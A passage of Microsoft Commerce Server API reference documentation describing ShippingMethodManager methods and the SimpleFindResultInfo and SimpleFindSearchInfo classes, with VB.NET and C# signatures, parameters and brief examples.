[C#] An object containing the Configuration dictionary.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object

dConfig = oSMM.GetComponentConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetInstalledMethodList Method (PIA)

Use this method to get a list of the current shipping methods. The GetInstalledMethodList method allows you to filter the list, select the columns to return, and sort the list into a particular order.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetInstalledMethodList(
  ByRef Filter As Object,
  ByRef OrderBy As Object,
  ByRef columns As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetInstalledMethodList(
  ref object Filter,
  ref object OrderBy,
  ref object columns
);

Parameters

[Visual Basic .NET]
Filter
A String that becomes the WHERE clause of the query. Pass null if no filtering is wanted. An example filter is "enabled = 1", which will cause the GetInstalledMethodList method to return only enabled shipping methods.
OrderBy
A String that becomes the ORDER BY clause of the query. Pass a null if no ordering is wanted. An example OrderBy argument is "shipping_method_name", which will cause the results to be sorted by shipping method name.
columns
A System.Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.
[C#]
Filter
A reference to an object that contains a string that becomes the WHERE clause of the query. Pass a null value (DBNull.Value) if no filtering is wanted. An example filter is "enabled = 1", which will cause the GetInstalledMethodList method to return only enabled shipping methods.
OrderBy
A reference to an object that contains a string that becomes the ORDER BY clause of the query. Pass a null value (DBNull.Value) if no ordering is wanted. An example OrderBy argument is "shipping_method_name", which will cause the results to be sorted by shipping_method_name.
columns
A reference to an object that contains a System.Array of column names of the values to retrieve. If an empty array is passed, all columns from the ShippingConfig table are returned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the results of the query.

[C#] An object containing an ADO Recordset object with the wanted values.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The GetInstalledMethodList method constructs a SQL query from its three parameters, runs it against the current ShippingConfig table, and returns the result in an ADO Recordset object.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sFilter is set to filter
' sOrderBy is set to null, so there will be no ordering
' AColumns is an array of column names of the values to retrieve
' rsMethodList is a recordset
Dim aColumnNames() As Object
aColumnNames(0) = "shipping_method_name"
rsMethodList = oSMM.GetInstalledMethodList( "enabled = 1", _
                                            System.DBNull.Value, _
                                            aColumnNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.GetMethodInfo Method (PIA)

Use this method to retrieve information about the database attributes of one or more columns in the ShippingConfig table.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Function GetMethodInfo(
  ByRef columns As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object GetMethodInfo(
  ref object columns,
);

Parameters

[Visual Basic .NET]
columns
A System.Array of strings containing names of the columns. Specify an empty array to return all columns.
[C#]
columns
An object containing a System.Array of strings containing names of the columns. Specify an empty array to return all columns.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a Recordset object that contains the information about the wanted columns.

[C#] An object containing an ADO Recordset object that contains the information about the requested database columns.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

This method returns an ADO Recordset object containing the data type, defined size, and attributes of the requested columns in the ShippingConfig table.

[Visual Basic .NET]

Example

' oSMM is an initialized, loaded Commerce.ShippingMethodManager object
' rsResult is a recordset
Dim aColumnNames as System.Array
aColumnNames(0) = "shipping_method_name"
aColumnNames(1) = "description"
aColumnNames(2) = "enabled"
rsResult = oSMM.GetMethodInfo(aColumnNames)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.Initialize Method (PIA)

Use this method to initialize a ShippingMethodManager object and connect it to a database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub Initialize(
  ByRef connection_string As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void Initialize(
  ref object connection_string
);

Parameters

[Visual Basic .NET]
connection_string
A String containing the connection string.
[C#]
connection_string
A reference to an object containing a string with the connection string value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
' sConnectionString is a string containing the connection
' string

oSMM.Initialize(sConnectionString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.LoadMethodInstance Method (PIA)

Use this method to load an instance of a given shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub LoadMethodInstance(
  ByRef methodid As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void LoadMethodInstance(
  ref object method_id
);

Parameters

[Visual Basic .NET]
methodid
A String containing the method ID of the shipping method.
[C#]
method_id
A reference to an object containing a string that is the method ID of the shipping method.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Return Values

[C#] This method returns an HRESULT indicating whether or not it completed successfully. See the Error Values section for more details.

Remarks

This method loads an instance of the requested shipping method as a single record in the current recordset.

[Visual Basic .NET]

Example

' oSMM is an initialized Commerce.ShippingMethodManager object
' sMethodId is a string containing the method id

oSMM.LoadMethodInstance(sMethodId)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SaveMethodConfig Method (PIA)

Use this method to save the current shipping method information set using the SetMethodConfig method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SaveMethodConfig()
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SaveMethodConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The SaveMethodConfig method saves the current shipping method configuration data.

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object

oSMM.SaveMethodConfig()

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SetCachableComponentConfig Method (PIA)

Use this method to set the configuration data for the pipeline component, and other component information.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetCachableComponentConfig(
  ByRef progid As Object,
  ByRef configdict As Object,
  ByRef action As Object,
  ByRef actionfriendlyname As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetCachableComponentConfig(
  ref object progid,
  ref object configdict,
  ref object action,
  ref object actionfriendlyname
);

Parameters

[Visual Basic .NET]
progid
A String containing the ProgID of the pipeline component.
configdict
A Dictionary object holding the configuration information for the component.
action
A String containing the name of the ASP edit page for the shipping component.
actionfriendlyname
A String containing a friendly name for the ASP edit page for the shipping component.
[C#]
progid
A reference to an object containing a string that is the ProgID of the pipeline component.
configdict
A reference to an object containing a Dictionary object holding the configuration information for the component.
action
A reference to an object containing a string with the name of the ASP edit page for the shipping component.
actionfriendlyname
A reference to an object containing a string with a friendly name for the ASP edit page for the shipping component.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

This method takes the Configuration dictionary for the component and prepares it to be saved along with the current configuration. In addition, the method stores the ProgID, the edit page, and the page friendly names. The settings are not saved until the SaveMethodConfig method is called.

The configdict parameter is typically obtained using IPipelineComponentAdmin::GetConfigDictionary.

This method utilizes the IPipelineComponentAdmin interface; therefore all shipping components configurable by the ShippingMethodManager object must support the IPipelineComponentAdmin interface.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
' sProgID, sAction, and sActionFrientlyName are strings
' dConfigDict is a Commerce.Dictionary object

Call oSMM.SetCachableComponentConfig(sProgID, dConfigDict, _
                 sAction, sActionFriendlyName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


ShippingMethodManager.SetMethodConfig Method (PIA)

Use this method to set properties, such as name or description, on the current shipping method.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Sub SetMethodConfig(
  ByRef ParametersAndValues As Object
)
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public void SetMethodConfig(
  ref object ParametersAndValues
);

Parameters

[Visual Basic .NET]
ParametersAndValues
A System.Array containing name and value pairs in successive elements.
[C#]
ParametersAndValues
A reference to an object containing a System.Array that contains name and value pairs in successive elements.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

This method acts on the loaded shipping method. You must call LoadMethodInstance or CreateMethodInstance to load a shipping method into the ShippingMethodManager object before calling this method.

The array parameter contains names and values in alternating elements. Odd subscripts contain the names of items, even subscripts contain the values.

Use the SaveMethodConfig method to save the configuration information entered with this method.

[Visual Basic .NET]

Example

' oSMM is a Commerce.ShippingMethodManager object
Dim aParamsAndValues() As Object
aParamsAndValues(0) = "shipping_method_name"
aParamsAndValues(1) = "My Shipping Method"
aParamsAndValues(2) = "description"
aParamsAndValues(3) = "Cheapest but slowest shipping method"
aParamsAndValues(4) = "enabled"
aParamsAndValues(5) = 1
oSMM.SetMethodConfig(aParamsAndValues)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .NET Server Family

Assembly: cs_shipmgr (in cs_shipmgr.dll)

See Also

Splitter

Shipping Class

ShippingDiscountAdjust

ShippingManagerCache

ShippingMethodManager Class

ShippingMethodRouter

StepwiseShipping


SimpleFindResultInfo Class (PIA)

Use this object to specify search criteria when using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

Properties

Property | Type | Description
Columns | Object | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Object | Specifies the column name to sort on.
PageNumber | Integer | Specifies the page number of the resultset to show whether the resultset exceeds the page size.
PageSize | Integer | Specifies the page size.
SortDirection | Object | Specifies the sort direction.

Remarks

The following table shows the data returned by the OrderGroupManager SimpleFind method when it has been passed to the SimpleFindResultInfo object with the JoinOrderFormInfo and JoinLineItemInfo properties set to the indicated values.

JoinOrderFormInfo | JoinLineItemInfo | SimpleFind Method Data Returned
False | False | One record for each OrderGroup that meets the search criteria. Returns OrderGroup data only. The default setting is False.
True | False | One record for each OrderForm that meets the search criteria. Returns OrderGroup and OrderForm data.
True | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.
False | True | One record for each line item that meets the search criteria. Returns OrderGroup, OrderForm, and line item data.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

SimpleFindSearchInfo Class

OrderGroupManager Class

OrderGroup Class

OrderForm Class


SimpleFindResultInfo Properties (PIA)

Properties

Property | Type | Description
Columns | Object | Specifies a custom set of columns to be returned by the OrderGroupManager SimpleFind method.
JoinLineItemInfo | Boolean | Specifies whether to join the OrderFormLineItems table with the results.
JoinOrderFormInfo | Boolean | Specifies whether the OrderFormHeader table is joined in the results.
OrderGroupSortColumn | Object | Specifies the column name to sort on.
PageNumber | Integer | Specifies the page number of the resultset to show whether the resultset exceeds the page size.
PageSize | Integer | Specifies the page size.
SortDirection | Object | Specifies the sort direction.


SimpleFindResultInfo.Columns Property (PIA)

The Columns property is a read/write Object that specifies a custom set of columns to be returned by the SimpleFind method. The columns property, if specified, should be a string of comma-separated column names. If the property is left null, SimpleFind will return a standard set of columns.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property Columns As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object Columns {get; set;}
[C#]

Property Value

An object containing a string with the names of the columns in addition to the default columns.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Object.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.JoinLineItemInfo Property (PIA)

The JoinLineItemInfo property is a read/write Boolean that indicates whether to join the OrderFormLineItems table with the results.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property JoinLineItemInfo As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool JoinLineItemInfo {get; set;}

Property Value

A value of True indicates that the OrderFormLineItems table will be joined. A value of False indicates that it will not be joined.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.JoinOrderFormInfo Property (PIA)

The JoinOrderFormInfo property is a read/write Boolean value that indicates whether the OrderFormHeader table is joined in the results.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property JoinOrderFormInfo As Boolean
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public bool JoinOrderFormInfo {get; set;}

Property Value

A value of True specifies that the OrderFormHeader table will be joined. A value of False specifies that it will not be joined.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.OrderGroupSortColumn Property (PIA)

The OrderGroupSortColumn property is a read/write Object that contains the column name on which to sort.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property OrderGroupSortColumn As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object OrderGroupSortColumn {get; set;}

Property Value

An object that contains the name of the column on which to sort.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 98, Windows NT 4.0, Windows Millennium Edition, Windows 2000, Windows XP

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.PageNumber Property (PIA)

The PageNumber property is a read/write Integer that contains the page number to jump to. This property setting must be coordinated with the PageSize property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property PageNumber As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int PageNumber {get; set;}

Property Value

An Integer that contains the page number.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property is initialized to 1.

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.PageSize Property (PIA)

The PageSize property is a read/write Integer that contains the page size. This property setting must be coordinated with the PageNumber property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property PageSize As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int PageSize {get; set;}

Property Value

An Integer that contains the page size.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Use this property to implement a paging mechanism that allows you to page through your orders. (These orders could be viewed in a List Sheet, for example.)

This property defaults to 20.

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindResultInfo.SortDirection Property (PIA)

The SortDirection property is a read/write Object that contains the sort direction.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SortDirection As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SortDirection {get; set;}

Property Value

An Object that contains the sort direction. The value of this field can be asc for ascending or desc for descending.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Requirements for using this property are listed in SimpleFindResultInfo Class.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindResultInfo Class


SimpleFindSearchInfo Class (PIA)

Use this object to specify search criteria when conducting searching and deleting operations using the SimpleFind and SimpleDelete methods of the OrderGroupManager object.

Properties

Property | Type | Description
description | Object | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Object | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Object | Specifies the order group ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Object | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Object | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Object | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Object | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Object | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Integer | Specifies the OrderGroup status. This property allows the user to filter the status (that is basket, template, or new order). This property is read/write.
user_firstname | Object | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Object | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Object | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Object | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Object | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

Business Process Objects

SimpleFindResultInfo Class

OrderGroupManager Class

OrderGroup Class

OrderForm Class


SimpleFindSearchInfo Properties (PIA)

Properties

Property | Type | Description
description | Object | Specifies the product description to search for; if left null, the product description does not become part of the search criteria. This property is read/write.
order_number | Object | Specifies the order number to search for; if left null, the order number does not become part of the search criteria. This property is read/write.
ordergroup_id | Object | Specifies the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria. This property is read/write.
po_number | Object | Specifies the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria. This property is read/write.
product_id | Object | Specifies the product ID to search for; if left null, the product ID does not become part of the search criteria. This property is read/write.
SearchDateTimeColumn | Object | Specifies the DateTime column name to search for; if left null, the DateTime column name does not become part of the search criteria. This property is read/write.
SearchDateTimeEnd | Object | Specifies the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. This property is read/write.
SearchDateTimeStart | Object | Specifies the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. This property is read/write.
StatusFilter | Integer | Specifies the OrderGroup status. This property allows the user to filter the status (that is basket, template, or new order). This property is read/write.
user_firstname | Object | Specifies the first name of the user to search for; if left null, the first name of the user does not become part of the search criteria. This property is read/write.
user_id | Object | Specifies the user ID to search for; if left null, the user ID does not become part of the search criteria. This property is read/write.
user_lastname | Object | Specifies the last name of the user to search for; if left null, the last name of the user does not become part of the search criteria. This property is read/write.
user_org_id | Object | Specifies the user organization ID to search for; if left null, the user organization ID does not become part of the search criteria. This property is read/write.
user_org_name | Object | Specifies the user organization to search for; if left null, the user organization does not become part of the search criteria. This property is read/write.


SimpleFindSearchInfo.description Property (PIA)

The description property is a read/write Object that specifies the product description to search for; if left null, the product description does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property description As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object description {get; set;}

Property Value

An object containing the item description to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.order_number Property (PIA)

The order_number property is a read/write Object that specifies the order number to search for; if left null, the order number does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property order_number As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object order_number {get; set;}

Property Value

An object containing the order number to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.ordergroup_id Property (PIA)

The ordergroup_id property is a read/write Object that contains the OrderGroup ID to search for; if left null, the OrderGroup ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property ordergroup_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object ordergroup_id {get; set;}

Property Value

An object containing the OrderGroup ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.po_number Property (PIA)

The po_number property is a read/write Object that contains the OrderForm ID to search for; if left null, the OrderForm ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property po_number As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object po_number {get; set;}

Property Value

An object containing the OrderForm ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.product_id Property (PIA)

The product_id property is a read/write Object that contains the product ID to search for; if left null, the product ID does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property product_id As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object product_id {get; set;}

Property Value

An object containing the product ID to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeColumn Property (PIA)

The SearchDateTimeColumn property is a read/write Object that contains the name of the DateTime column to use in the search. If left null, the DateTime column name does not become part of the search criteria.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeColumn As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeColumn {get; set;}

Property Value

An object containing the name of the DateTime column to use in the search.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeEnd Property (PIA)

The SearchDateTimeEnd property is a read/write Object that contains the DateTime end value to search for; if left null, the DateTime end value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeEnd As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeEnd {get; set;}

Property Value

An object containing the DateTime end value to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.SearchDateTimeStart Property (PIA)

The SearchDateTimeStart property is a read/write Object that contains the DateTime start value to search for; if left null, the DateTime start value does not become part of the search criteria. Use this property in conjunction with the SearchDateTimeColumn property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property SearchDateTimeStart As Object
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public object SearchDateTimeStart {get; set;}

Property Value

An object containing the DateTime start value to search for.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

Assembly: cs_req (in cs_req.dll)

See Also

SimpleFindSearchInfo Class

OrderGroupManager.SimpleDelete

OrderGroupManager.SimpleFind


SimpleFindSearchInfo.StatusFilter Property (PIA)

The StatusFilter property is a read/write Integer that contains the OrderGroup status.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Orders
…
Public Property StatusFilter As Integer
[C#]
using Microsoft.CommerceServer.Interop.Orders;
…
public int StatusFilter {get; set;}

Property Value

An Integer containing the OrderGroup status.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The value of the StatusFilter parameter determines whether a search is being made for a basket, an order, a template, or a combination of these. A bit field is used to determine this. The following table shows the meaning of the individual bits.

Status Type | Value
Basket | 1
Template | 2
New Order | 4
Custom | 8
Custom | 16

Note

  • Because the contents of baskets and templates are held in one table, and the contents of OrderGroups with all other status codes (codes 4 and greater) are held elsewhere, only certain values are permissible for searches.

    The following values are permissible:

    • 1 (basket search)
    • 2 (template search)
    • 3 (basket or template)
    • 4 (new order)
    • 12 ( 4 & 8)
    • 24 (8 & 16)

    The following values are not permissible:

    • 5 (basket or new order)
    • 6 (template or new order)
    • 9 (1 & 8)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Orders

Platforms: Windows 2000, Windows .Net Server family

